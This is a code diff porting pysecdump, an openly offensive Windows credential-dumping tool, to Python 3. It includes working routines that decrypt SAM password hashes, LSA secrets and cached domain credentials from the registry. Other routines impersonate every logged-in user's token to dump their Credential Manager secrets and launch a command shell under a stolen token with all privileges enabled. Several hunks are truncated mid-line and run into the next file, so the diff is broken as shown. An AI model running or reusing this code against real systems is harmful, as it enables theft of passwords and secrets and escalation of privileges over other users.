diff --git a/framework/win32/domcachedumplive.py b/framework/win32/domcachedumplive.py
index c0f86b8..019ac32 100755
--- a/framework/win32/domcachedumplive.py
+++ b/framework/win32/domcachedumplive.py
@@ -12,7 +12,6 @@
#
# You should have received a copy of the GNU General Public License
# along with creddump. If not, see .
-
"""
@author: Brendan Dolan-Gavitt
@license: GNU General Public License 2.0 or later
@@ -22,48 +21,52 @@
# Modified by pentestmonkey
from framework.win32.hashdumplive import get_bootkey
-from framework.win32.lsasecretslive import get_secret_by_name,get_lsa_key
+from framework.win32.lsasecretslive import get_secret_by_name, get_lsa_key
from Crypto.Hash import HMAC
from Crypto.Cipher import ARC4
from struct import unpack
from wpc.regkey import regkey
+
def get_nlkm(lsakey):
return get_secret_by_name('NL$KM', lsakey)
+
def decrypt_hash(edata, nlkm, ch):
- hmac_md5 = HMAC.new(nlkm,ch)
+ hmac_md5 = HMAC.new(nlkm, ch)
rc4key = hmac_md5.digest()
rc4 = ARC4.new(rc4key)
data = rc4.encrypt(edata)
return data
+
def parse_cache_entry(cache_data):
(uname_len, domain_len) = unpack(".
-
"""
@author: Brendan Dolan-Gavitt
@license: GNU General Public License 2.0 or later
@@ -22,124 +21,134 @@
# Modified by pentestmonkey
from Crypto.Hash import MD5
-from Crypto.Cipher import ARC4,DES
-from struct import unpack,pack
+from Crypto.Cipher import ARC4, DES
+from struct import unpack, pack
from wpc.regkey import regkey
import sys
import ctypes
from binascii import hexlify
-
-FILTER=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)])
+import winreg
+FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or '.'
+ for x in range(256)])
odd_parity = [
- 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
- 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
- 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
- 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
- 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
- 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
- 97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
- 112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
- 128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
- 145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
- 161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
- 176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
- 193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
- 208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
- 224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
- 241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
+ 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, 16, 16, 19, 19, 21,
+ 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, 32, 32, 35, 35, 37, 37, 38, 38,
+ 41, 41, 42, 42, 44, 44, 47, 47, 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59,
+ 59, 61, 61, 62, 62, 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76,
+ 79, 79, 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, 97,
+ 97, 98, 98, 100, 100, 103, 103, 104, 104, 107, 107, 109, 109, 110, 110,
+ 112, 112, 115, 115, 117, 117, 118, 118, 121, 121, 122, 122, 124, 124, 127,
+ 127, 128, 128, 131, 131, 133, 133, 134, 134, 137, 137, 138, 138, 140, 140,
+ 143, 143, 145, 145, 146, 146, 148, 148, 151, 151, 152, 152, 155, 155, 157,
+ 157, 158, 158, 161, 161, 162, 162, 164, 164, 167, 167, 168, 168, 171, 171,
+ 173, 173, 174, 174, 176, 176, 179, 179, 181, 181, 182, 182, 185, 185, 186,
+ 186, 188, 188, 191, 191, 193, 193, 194, 194, 196, 196, 199, 199, 200, 200,
+ 203, 203, 205, 205, 206, 206, 208, 208, 211, 211, 213, 213, 214, 214, 217,
+ 217, 218, 218, 220, 220, 223, 223, 224, 224, 227, 227, 229, 229, 230, 230,
+ 233, 233, 234, 234, 236, 236, 239, 239, 241, 241, 242, 242, 244, 244, 247,
+ 247, 248, 248, 251, 251, 253, 253, 254, 254
]
# Permutation matrix for boot key
-p = [ 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3,
- 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 ]
+p = [
+ 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf,
+ 0x7
+]
# Constants for SAM decrypt algorithm
-aqwerty = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
-anum = "0123456789012345678901234567890123456789\0"
+aqwerty = b"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
+anum = b"0123456789012345678901234567890123456789\0"
antpassword = "NTPASSWORD\0"
almpassword = "LMPASSWORD\0"
-empty_lm = "aad3b435b51404eeaad3b435b51404ee".decode('hex')
-empty_nt = "31d6cfe0d16ae931b73c59d7e0c089c0".decode('hex')
+empty_lm = bytes.fromhex("aad3b435b51404eeaad3b435b51404ee")
+empty_nt = bytes.fromhex("31d6cfe0d16ae931b73c59d7e0c089c0")
+
def str_to_key(s):
key = []
- key.append( ord(s[0])>>1 )
- key.append( ((ord(s[0])&0x01)<<6) | (ord(s[1])>>2) )
- key.append( ((ord(s[1])&0x03)<<5) | (ord(s[2])>>3) )
- key.append( ((ord(s[2])&0x07)<<4) | (ord(s[3])>>4) )
- key.append( ((ord(s[3])&0x0F)<<3) | (ord(s[4])>>5) )
- key.append( ((ord(s[4])&0x1F)<<2) | (ord(s[5])>>6) )
- key.append( ((ord(s[5])&0x3F)<<1) | (ord(s[6])>>7) )
- key.append( ord(s[6])&0x7F )
+ key.append(ord(s[0]) >> 1)
+ key.append(((ord(s[0]) & 0x01) << 6) | (ord(s[1]) >> 2))
+ key.append(((ord(s[1]) & 0x03) << 5) | (ord(s[2]) >> 3))
+ key.append(((ord(s[2]) & 0x07) << 4) | (ord(s[3]) >> 4))
+ key.append(((ord(s[3]) & 0x0F) << 3) | (ord(s[4]) >> 5))
+ key.append(((ord(s[4]) & 0x1F) << 2) | (ord(s[5]) >> 6))
+ key.append(((ord(s[5]) & 0x3F) << 1) | (ord(s[6]) >> 7))
+ key.append(ord(s[6]) & 0x7F)
for i in range(8):
- key[i] = (key[i]<<1)
+ key[i] = (key[i] << 1)
key[i] = odd_parity[key[i]]
return "".join(chr(k) for k in key)
+
def sid_to_key(sid):
s1 = ""
s1 += chr(sid & 0xFF)
- s1 += chr((sid>>8) & 0xFF)
- s1 += chr((sid>>16) & 0xFF)
- s1 += chr((sid>>24) & 0xFF)
- s1 += s1[0];
- s1 += s1[1];
- s1 += s1[2];
+ s1 += chr((sid >> 8) & 0xFF)
+ s1 += chr((sid >> 16) & 0xFF)
+ s1 += chr((sid >> 24) & 0xFF)
+ s1 += s1[0]
+ s1 += s1[1]
+ s1 += s1[2]
s2 = s1[3] + s1[0] + s1[1] + s1[2]
s2 += s2[0] + s2[1] + s2[2]
- return str_to_key(s1),str_to_key(s2)
-
+ return str_to_key(s1), str_to_key(s2)
+
+
def find_control_set():
- r = regkey("HKEY_LOCAL_MACHINE\\SYSTEM\\Select")
- return r.get_value("Current")
+ r = regkey("HKEY_LOCAL_MACHINE\\SYSTEM\\Select")
+ return r.get_value("Current")
+
def get_bootkey():
+ global p
cs = find_control_set()
- r = regkey("HKEY_LOCAL_MACHINE\SYSTEM\ControlSet%03d\Control\Lsa" % cs)
-
- lsa_keys = ["JD","Skew1","GBG","Data"]
- bootkey = ""
-
+ lsa_keys = ['JD', 'Skew1', 'GBG', 'Data']
+ bootkey = b""
+
for lk in lsa_keys:
- class_data = get_hklm_class("SYSTEM\\ControlSet%03d\\Control\\Lsa\\%s" % (cs, lk))
- bootkey += class_data.decode('hex')
- bootkey_scrambled = ""
+ class_data = get_hklm_class(
+ "SYSTEM\\ControlSet%03d\\Control\\Lsa\\%s" % (cs, lk))
+ bootkey += bytes.fromhex(class_data.decode())
+ bootkey_unscrambled = bytearray()
for i in range(len(bootkey)):
- bootkey_scrambled += bootkey[p[i]]
- return bootkey_scrambled
+ bootkey_unscrambled.append(bootkey[p[i]])
+ return bytes(bootkey_unscrambled)
+
def get_hbootkey(bootkey):
- r = regkey("HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account");
+ r = regkey("HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account")
F = r.get_value("F")
if not F:
return None
-
+
md5 = MD5.new()
md5.update(F[0x70:0x80] + aqwerty + bootkey + anum)
rc4_key = md5.digest()
rc4 = ARC4.new(rc4_key)
hbootkey = rc4.encrypt(F[0x80:0xA0])
-
+
return hbootkey
+
def get_user_keys():
- r = regkey("HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users");
+ r = regkey("HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users")
for s in r.get_subkeys():
- if s.get_name().split("\\")[-1] != "Names":
- yield s.get_name().split("\\")[-1]
+ if s.get_name().split("\\")[-1] != "Names":
+ yield s.get_name().split("\\")[-1]
+
def decrypt_single_hash(rid, hbootkey, enc_hash, lmntstr):
- (des_k1,des_k2) = sid_to_key(rid)
+ (des_k1, des_k2) = sid_to_key(rid)
d1 = DES.new(des_k1, DES.MODE_ECB)
d2 = DES.new(des_k2, DES.MODE_ECB)
md5 = MD5.new()
- md5.update(hbootkey[:0x10] + pack(".
-
"""
@author: Brendan Dolan-Gavitt
@license: GNU General Public License 2.0 or later
@@ -21,10 +20,10 @@
# Modified by pentestmonkey
-from framework.win32.hashdumplive import get_bootkey,str_to_key
-from Crypto.Hash import MD5,SHA256
-from Crypto.Cipher import ARC4,DES,AES
-from struct import unpack,pack
+from framework.win32.hashdumplive import get_bootkey, str_to_key
+from Crypto.Hash import MD5, SHA256
+from Crypto.Cipher import ARC4, DES, AES
+from struct import unpack, pack
from wpc.regkey import regkey
from binascii import hexlify
xp = None
@@ -33,90 +32,95 @@
def get_lsa_key(bootkey):
global xp
r = regkey("HKEY_LOCAL_MACHINE\\SECURITY\\Policy\\PolSecretEncryptionKey")
-
+
if r.is_present():
- xp = 1
+ xp = 1
else:
- r = regkey("HKEY_LOCAL_MACHINE\\SECURITY\\Policy\\PolEKList")
- if r.is_present:
- xp = 0
- else:
- return None
+ r = regkey("HKEY_LOCAL_MACHINE\\SECURITY\\Policy\\PolEKList")
+ if r.is_present:
+ xp = 0
+ else:
+ return None
obf_lsa_key = r.get_value("")
if not obf_lsa_key:
return None
if xp:
- md5 = MD5.new()
- md5.update(bootkey)
- for i in range(1000):
- md5.update(obf_lsa_key[60:76])
- rc4key = md5.digest()
-
- rc4 = ARC4.new(rc4key)
- lsa_key = rc4.decrypt(obf_lsa_key[12:60])
- return lsa_key[0x10:0x20]
+ md5 = MD5.new()
+ md5.update(bootkey)
+ for i in range(1000):
+ md5.update(obf_lsa_key[60:76])
+ rc4key = md5.digest()
+
+ rc4 = ARC4.new(rc4key)
+ lsa_key = rc4.decrypt(obf_lsa_key[12:60])
+ return lsa_key[0x10:0x20]
else:
- lsa_key = decrypt_lsa(obf_lsa_key, bootkey)
- return lsa_key[68:100]
+ lsa_key = decrypt_lsa(obf_lsa_key, bootkey)
+ return lsa_key[68:100]
def decrypt_secret(secret, key):
- """Python implementation of SystemFunction005.
-
- Decrypts a block of data with DES using given key.
- Note that key can be longer than 7 bytes."""
- decrypted_data = ''
- j = 0 # key index
- for i in range(0,len(secret),8):
- enc_block = secret[i:i+8]
- block_key = key[j:j+7]
- des_key = str_to_key(block_key)
- des = DES.new(des_key, DES.MODE_ECB)
- decrypted_data += des.decrypt(enc_block)
-
- j += 7
- if len(key[j:j+7]) < 7:
- j = len(key[j:j+7])
-
- (dec_data_len,) = unpack(".
-
-from framework.win32.domcachedumplive import dump_file_hashes as cachedump_reg_hashes
-from framework.win32.hashdumplive import dump_hashes as hashdump_reg_hashes
-from framework.win32.hashdumplive import get_bootkey
-from framework.win32.lsasecretslive import get_live_secrets
-from optparse import OptionParser
-from optparse import OptionGroup
-import win32process
-import win32event
-import pywintypes
-import win32security
-import win32api
-import win32con
-import ntsecuritycon
-import win32cred
-from wpc.processes import processes
-from wpc.thread import thread
-from binascii import hexlify
-import sys
-
-version = "1.0"
-
-def parseOptions():
- print "pysecdump v%s https://github.com/pentestmonkey/pysecdump" % version
- usage = "%s (dump opts | shell opts | -h) " % (sys.argv[0])
-
- parser = OptionParser(usage = usage, version = version)
-
- dump = OptionGroup(parser, "dump opts", "Choose what you want to dump")
- shell = OptionGroup(parser, "shell opts", "Get shell with different privs")
-
- dump.add_option("-a", "--all", dest = "do_all", default = False, action = "store_true", help = "Dump everything")
- dump.add_option("-s", "--samhashes", dest = "do_samhashes", default = False, action = "store_true", help = "Dump hashes from SAM (registry)")
- dump.add_option("-l", "--lsasecrets", dest = "do_lsasecrets", default = False, action = "store_true", help = "Dump LSA Secrets (registry)")
- dump.add_option("-c", "--cacheddomcreds", dest = "do_cacheddomcreds", default = False, action = "store_true", help = "Dump Cached Domain Creds (registry)")
- dump.add_option("-C", "--credman", dest = "do_credman", default = False, action = "store_true", help = "Dump Credential Manager for all logged in users (API call) - can't do all passwords types")
- dump.add_option("-b", "--bootkey", dest = "do_bootkey", default = False, action = "store_true", help = "Dump Bootkey (registry)")
-
- shell.add_option("-i", "--impersonate", dest = "pid", default = False, help = "Impersonate a process")
- shell.add_option("-e", "--enable_privs", dest = "enable_privs", default = False, action = "store_true", help = "Enable all privs in current token")
-
- parser.add_option_group(dump)
- parser.add_option_group(shell)
-
- (options, args) = parser.parse_args()
-
- if not (options.do_all or options.do_samhashes or options.do_lsasecrets or options.do_cacheddomcreds or options.do_bootkey or options.do_credman or options.pid or options.enable_privs):
- print "[E] Specify at least one of: -a, -s, -l, -c, -b, -C, -t, -e. -h for help."
- sys.exit()
-
- return options
-
-def shell_as(th, enable_privs = 0):
- t = thread(th)
- print t.as_text()
- new_tokenh = win32security.DuplicateTokenEx(th, 3 , win32con.MAXIMUM_ALLOWED , win32security.TokenPrimary , win32security.SECURITY_ATTRIBUTES() )
- print "new_tokenh: %s" % new_tokenh
- print "Impersonating..."
- if enable_privs:
- get_all_privs(new_tokenh)
- commandLine = "cmd"
- si = win32process.STARTUPINFO()
- print "pysecdump: Starting shell with required privileges..."
- (hProcess, hThread, dwProcessId, dwThreadId) = win32process.CreateProcessAsUser(
- new_tokenh,
- None, # AppName
- commandLine, # Command line
- None, # Process Security
- None, # ThreadSecurity
- 1, # Inherit Handles?
- win32process.NORMAL_PRIORITY_CLASS,
- None, # New environment
- None, # Current directory
- si) # startup info.
- win32event.WaitForSingleObject( hProcess, win32event.INFINITE );
- print "pysecdump: Quitting"
-
-def get_all_privs(th):
- # Try to give ourselves some extra privs (only works if we're admin):
- # SeBackupPrivilege - so we can read anything
- # SeDebugPrivilege - so we can find out about other processes (otherwise OpenProcess will fail for some)
- # SeSecurityPrivilege - ??? what does this do?
-
- # Problem: Vista+ support "Protected" processes, e.g. audiodg.exe. We can't see info about these.
- # Interesting post on why Protected Process aren't really secure anyway: http://www.alex-ionescu.com/?p=34
-
- privs = win32security.GetTokenInformation(th, ntsecuritycon.TokenPrivileges)
- for privtuple in privs:
- privs2 = win32security.GetTokenInformation(th, ntsecuritycon.TokenPrivileges)
- newprivs = []
- for privtuple2 in privs2:
- if privtuple2[0] == privtuple[0]:
- newprivs.append((privtuple2[0], 2)) # SE_PRIVILEGE_ENABLED
- else:
- newprivs.append((privtuple2[0], privtuple2[1]))
-
- # Adjust privs
- privs3 = tuple(newprivs)
- win32security.AdjustTokenPrivileges(th, False, privs3)
-
-FILTER=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)])
-def dump(src, length=8):
- # Hex dump code from
- # http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/142812
-
- N=0; result=''
- while src:
- s,src = src[:length],src[length:]
- hexa = ' '.join(["%02X"%ord(x) for x in s])
- su = s
- uni_string = ''
- for n in range(0, len(su)/2):
- if su[n*2 + 1] == "\0":
- uni_string += unicode(su[n*2:n*2+1], errors='ignore')
- else:
- uni_string += '?'
- s = s.translate(FILTER)
- result += "%04X %-*s%-16s %s\n" % (N, length*3, hexa, s, uni_string)
- N+=length
- return result
-
-def section(message):
- print
- print "[ %s ... ]" % message
- print
-
-def get_credman_creds(quiet=0):
- try:
- creds = win32cred.CredEnumerate(None, 0)
- return creds
- except pywintypes.error as e:
- if not quiet:
- if e[0] == 1004:
- print "[E] Call to CredEnumerate failed: Invalid flags. This doesn't work on XP/2003."
- elif e[0] == 1168:
- print "[E] Call to CredEnumerate failed: Element not found. No credentials stored for this user. Run as normal user, not SYSTEM."
- elif e[0] == 1312:
- print "[E] Call to CredEnumerate failed: No such login session. Only works for proper login session - not network logons."
- else:
- print "[E] Call to CredEnumerate failed: %s" % e[2]
- return None
-
-def dump_cred(package):
- for k in package.keys():
- if k == "CredentialBlob":
- if package[k]:
- print "%s:" % k
- sys.stdout.write(dump(package[k], 16))
- else:
- print "%s: %s" % (k, "")
- else:
- print "%s: %s" % (k, package[k])
- print ""
-
-options = parseOptions()
-
-# bootkey
-if options.do_all or options.do_bootkey:
- section("Dumping Bootkey")
- print "Bootkey: %s" % hexlify(get_bootkey())
-
-# cachedump
-if options.do_all or options.do_cacheddomcreds:
- section("Dumping Cached Domain Credentials")
- got_a_hash = 0
- for hash in cachedump_reg_hashes():
- got_a_hash = 1
- print hash
-
- if not got_a_hash:
- print "[E] No cached hashes. Are you running as SYSTEM? Or machine not a domain member?"
-
-# pwdump
-if options.do_all or options.do_samhashes:
- section("Dumping Password Hashes From SAM")
- got_a_hash = 0
- for hash in hashdump_reg_hashes():
- got_a_hash = 1
- print hash
-
- if not got_a_hash:
- print "[E] No hashes. Are you running as SYSTEM?"
-
-# credman
-if options.do_all or options.do_credman:
- section("Dumping Current User's Credentials from Credential Manager")
- creds = get_credman_creds()
- if creds:
- for package in creds:
- dump_cred(package)
-
- sid_done = {}
- for p in processes().get_all():
- for t in p.get_tokens():
- x = t.get_token_user().get_fq_name().encode("utf8")
- if t.get_token_user().get_fq_name().encode("utf8") in sid_done.keys():
- pass
- else:
- sid_done[t.get_token_user().get_fq_name().encode("utf8")] = 1
- section("Dumping Credentials from Credential Manager for: %s" % t.get_token_user().get_fq_name())
- win32security.ImpersonateLoggedOnUser(t.get_th())
- creds = get_credman_creds()
- if creds:
- for package in creds:
- dump_cred(package)
- win32security.RevertToSelf()
-
-# lsadump
-if options.do_all or options.do_lsasecrets:
- section("Dumping LSA Secrets")
- secrets = get_live_secrets()
- if not secrets:
- print "[E] Unable to read LSA secrets. Perhaps you are not SYTEM?"
- sys.exit(1)
-
- for k in sorted(secrets.keys()):
- print k
- print dump(secrets[k], length=16)
-
-# shell with privileges of another process
-if options.pid:
- found = 0
- for p in processes().get_all():
- if p.get_pid() == int(options.pid):
- found = 1
- print p.as_text()
- for t in p.get_tokens():
- shell_as(t.get_th(), options.enable_privs)
- if not found:
- print "[E] Could not find process with PID %s" % options.pid
-
-# shell with all privs enabled
-elif options.enable_privs:
- th = win32security.OpenProcessToken(win32api.GetCurrentProcess(), win32con.MAXIMUM_ALLOWED)
- shell_as(th, options.enable_privs)
+#!/usr/bin/env python3
+
+# This file is part of creddump.
+#
+# creddump is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# creddump is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with creddump. If not, see .
+
+from framework.win32.domcachedumplive import dump_file_hashes as cachedump_reg_hashes
+from framework.win32.hashdumplive import dump_hashes as hashdump_reg_hashes
+from framework.win32.hashdumplive import get_bootkey
+from framework.win32.lsasecretslive import get_live_secrets
+from optparse import OptionParser
+from optparse import OptionGroup
+import win32process
+import win32event
+import pywintypes
+import win32security
+import win32api
+import win32con
+import ntsecuritycon
+import win32cred
+from wpc.processes import processes
+from wpc.thread import thread
+from binascii import hexlify
+import sys
+
+version = "2.0"
+
+
+def parseOptions():
+ print("pysecdump v%s https://github.com/pentestmonkey/pysecdump" % version)
+ usage = "%s (dump opts | shell opts | -h) " % (sys.argv[0])
+
+ parser = OptionParser(usage=usage, version=version)
+
+ dump = OptionGroup(parser, "dump opts", "Choose what you want to dump")
+ shell = OptionGroup(parser, "shell opts", "Get shell with different privs")
+
+ dump.add_option("-a",
+ "--all",
+ dest="do_all",
+ default=False,
+ action="store_true",
+ help="Dump everything")
+ dump.add_option("-s",
+ "--samhashes",
+ dest="do_samhashes",
+ default=False,
+ action="store_true",
+ help="Dump hashes from SAM (registry)")
+ dump.add_option("-l",
+ "--lsasecrets",
+ dest="do_lsasecrets",
+ default=False,
+ action="store_true",
+ help="Dump LSA Secrets (registry)")
+ dump.add_option("-c",
+ "--cacheddomcreds",
+ dest="do_cacheddomcreds",
+ default=False,
+ action="store_true",
+ help="Dump Cached Domain Creds (registry)")
+ dump.add_option(
+ "-C",
+ "--credman",
+ dest="do_credman",
+ default=False,
+ action="store_true",
+ help=
+ "Dump Credential Manager for all logged in users (API call) - can't do all passwords types"
+ )
+ dump.add_option("-b",
+ "--bootkey",
+ dest="do_bootkey",
+ default=False,
+ action="store_true",
+ help="Dump Bootkey (registry)")
+
+ shell.add_option("-i",
+ "--impersonate",
+ dest="pid",
+ default=False,
+ help="Impersonate a process")
+ shell.add_option("-e",
+ "--enable_privs",
+ dest="enable_privs",
+ default=False,
+ action="store_true",
+ help="Enable all privs in current token")
+
+ parser.add_option_group(dump)
+ parser.add_option_group(shell)
+
+ (options, args) = parser.parse_args()
+
+ if not (options.do_all or options.do_samhashes or options.do_lsasecrets
+ or options.do_cacheddomcreds or options.do_bootkey
+ or options.do_credman or options.pid or options.enable_privs):
+ print(
+ "[E] Specify at least one of: -a, -s, -l, -c, -b, -C, -t, -e. -h for help."
+ )
+ sys.exit()
+
+ return options
+
+
+def shell_as(th, enable_privs=0):
+ t = thread(th)
+ print(t.as_text())
+ new_tokenh = win32security.DuplicateTokenEx(
+ th, 3, win32con.MAXIMUM_ALLOWED, win32security.TokenPrimary,
+ win32security.SECURITY_ATTRIBUTES())
+ print("new_tokenh: %s" % new_tokenh)
+ print("Impersonating...")
+ if enable_privs:
+ get_all_privs(new_tokenh)
+ commandLine = "cmd"
+ si = win32process.STARTUPINFO()
+ print("pysecdump: Starting shell with required privileges...")
+ (hProcess, hThread, dwProcessId,
+ dwThreadId) = win32process.CreateProcessAsUser(
+ new_tokenh,
+ None, # AppName
+ commandLine, # Command line
+ None, # Process Security
+ None, # ThreadSecurity
+ 1, # Inherit Handles?
+ win32process.NORMAL_PRIORITY_CLASS,
+ None, # New environment
+ None, # Current directory
+ si) # startup info.
+ win32event.WaitForSingleObject(hProcess, win32event.INFINITE)
+ print("pysecdump: Quitting")
+
+
+def get_all_privs(th):
+ # Try to give ourselves some extra privs (only works if we're admin):
+ # SeBackupPrivilege - so we can read anything
+ # SeDebugPrivilege - so we can find out about other processes (otherwise OpenProcess will fail for some)
+ # SeSecurityPrivilege - ??? what does this do?
+
+ # Problem: Vista+ support "Protected" processes, e.g. audiodg.exe. We can't see info about these.
+ # Interesting post on why Protected Process aren't really secure anyway: http://www.alex-ionescu.com/?p=34
+
+ privs = win32security.GetTokenInformation(th,
+ ntsecuritycon.TokenPrivileges)
+ for privtuple in privs:
+ privs2 = win32security.GetTokenInformation(
+ th, ntsecuritycon.TokenPrivileges)
+ newprivs = []
+ for privtuple2 in privs2:
+ if privtuple2[0] == privtuple[0]:
+ newprivs.append((privtuple2[0], 2)) # SE_PRIVILEGE_ENABLED
+ else:
+ newprivs.append((privtuple2[0], privtuple2[1]))
+
+ # Adjust privs
+ privs3 = tuple(newprivs)
+ win32security.AdjustTokenPrivileges(th, False, privs3)
+
+
+FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or '.'
+ for x in range(256)])
+BFILTER = bytearray()
+for c in FILTER:
+ BFILTER.append(ord(c))
+
+
+def dump(src, length=8):
+ # Hex dump code from
+ # http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/142812
+
+ N = 0
+ result = ''
+ while src:
+ s, src = src[:length], src[length:]
+ hexa = ' '.join(["%02X" % x for x in s])
+ su = s
+ uni_string = ''
+ for n in range(0, int(len(su) / 2)):
+ if su[n * 2 + 1] == 0:
+ uni_string += su[n * 2:n * 2 + 1].decode()
+ else:
+ uni_string += '?'
+ try:
+ s = s.decode().translate(FILTER)
+ except UnicodeDecodeError:
+ s = s.translate(BFILTER)
+
+ result += "%04X %-*s%-16s %s\n" % (N, length * 3, hexa, s, uni_string)
+ N += length
+ return result
+
+
+def section(message):
+ print
+ print("[ %s ... ]" % message)
+ print
+
+
+def get_credman_creds(quiet=0):
+ try:
+ creds = win32cred.CredEnumerate(None, 0)
+ return creds
+ except pywintypes.error as e:
+ if not quiet:
+ if e.winerror == 1004:
+ print(
+ "[E] Call to CredEnumerate failed: Invalid flags. This doesn't work on XP/2003."
+ )
+ elif e.winerror == 1168:
+ print(
+ "[E] Call to CredEnumerate failed: Element not found. No credentials stored for this user. Run as normal user, not SYSTEM."
+ )
+ elif e.winerror == 1312:
+ print(
+ "[E] Call to CredEnumerate failed: No such login session. Only works for proper login session - not network logons."
+ )
+ else:
+ print(f"[E] Call to CredEnumerate failed: {e}")
+ return None
+
+
+def dump_cred(package):
+ for k in package.keys():
+ if k == "CredentialBlob":
+ if package[k]:
+ print("%s:" % k)
+ sys.stdout.write(dump(package[k], 16))
+ else:
+ print("%s: %s" % (k, ""))
+ else:
+ print("%s: %s" % (k, package[k]))
+ print()
+
+
+options = parseOptions()
+
+# bootkey
+if options.do_all or options.do_bootkey:
+ section("Dumping Bootkey")
+ bootkey = get_bootkey()
+ print(f"Bootkey: {hexlify(bootkey).decode()}")
+
+# cachedump
+if options.do_all or options.do_cacheddomcreds:
+ section("Dumping Cached Domain Credentials")
+ got_a_hash = 0
+ for hash in cachedump_reg_hashes():
+ got_a_hash = 1
+ print(hash)
+
+ if not got_a_hash:
+ print(
+ "[E] No cached hashes. Are you running as SYSTEM? Or machine not a domain member?"
+ )
+
+# pwdump
+if options.do_all or options.do_samhashes:
+ section("Dumping Password Hashes From SAM")
+ got_a_hash = 0
+ for hash in hashdump_reg_hashes():
+ got_a_hash = 1
+ print(hash)
+
+ if not got_a_hash:
+ print("[E] No hashes. Are you running as SYSTEM?")
+
+# credman
+if options.do_all or options.do_credman:
+ section("Dumping Current User's Credentials from Credential Manager")
+ creds = get_credman_creds()
+ if creds:
+ for package in creds:
+ dump_cred(package)
+
+ def get_token(t):
+ ret = None
+ try:
+ xt = t.get_token_user()
+ ret = xt.get_fq_name().encode()
+ except pywintypes.error as e:
+ pywintypes_errors = {5: 'Access Denied'}
+ print(
+ f'Error: {pywintypes_errors.get(e.winerror, f"Unknown {e}")}')
+ return ret
+
+ sid_done = {}
+ for p in processes().get_all():
+ for t in p.get_tokens():
+ x = get_token(t)
+ if x in sid_done.keys():
+ pass
+ else:
+ sid_done[x] = 1
+ section("Dumping Credentials from Credential Manager for: %s" %
+ x)
+ try:
+ win32security.ImpersonateLoggedOnUser(t.get_th())
+ except pywintypes.error as e:
+ if e.winerror == 5:
+ continue
+ creds = get_credman_creds()
+ if creds:
+ for package in creds:
+ dump_cred(package)
+ win32security.RevertToSelf()
+
+# lsadump
+if options.do_all or options.do_lsasecrets:
+ section("Dumping LSA Secrets")
+ secrets = get_live_secrets()
+ if not secrets:
+ print("[E] Unable to read LSA secrets. Perhaps you are not SYTEM?")
+ else:
+ for k in sorted(secrets.keys()):
+ print(k)
+ print(dump(secrets[k], length=16))
+
+# shell with privileges of another process
+if options.pid:
+ found = 0
+ for p in processes().get_all():
+ if p.get_pid() == int(options.pid):
+ found = 1
+ print(p.as_text())
+ for t in p.get_tokens():
+ shell_as(t.get_th(), options.enable_privs)
+ if not found:
+ print("[E] Could not find process with PID %s" % options.pid)
+
+# shell with all privs enabled
+elif options.enable_privs:
+ th = win32security.OpenProcessToken(win32api.GetCurrentProcess(),
+ win32con.MAXIMUM_ALLOWED)
+ shell_as(th, options.enable_privs)
diff --git a/wpc/__init__.py b/wpc/__init__.py
index 882e540..2ae2839 100755
--- a/wpc/__init__.py
+++ b/wpc/__init__.py
@@ -1 +1 @@
-pass
+pass
diff --git a/wpc/ace.py b/wpc/ace.py
index 02d3259..418d226 100755
--- a/wpc/ace.py
+++ b/wpc/ace.py
@@ -18,10 +18,11 @@ def __init__(self, otype, ace):
def get_type(self):
if not self.type:
- for i in ("ACCESS_ALLOWED_ACE_TYPE", "ACCESS_DENIED_ACE_TYPE", "SYSTEM_AUDIT_ACE_TYPE", "SYSTEM_ALARM_ACE_TYPE"):
+ for i in ("ACCESS_ALLOWED_ACE_TYPE", "ACCESS_DENIED_ACE_TYPE",
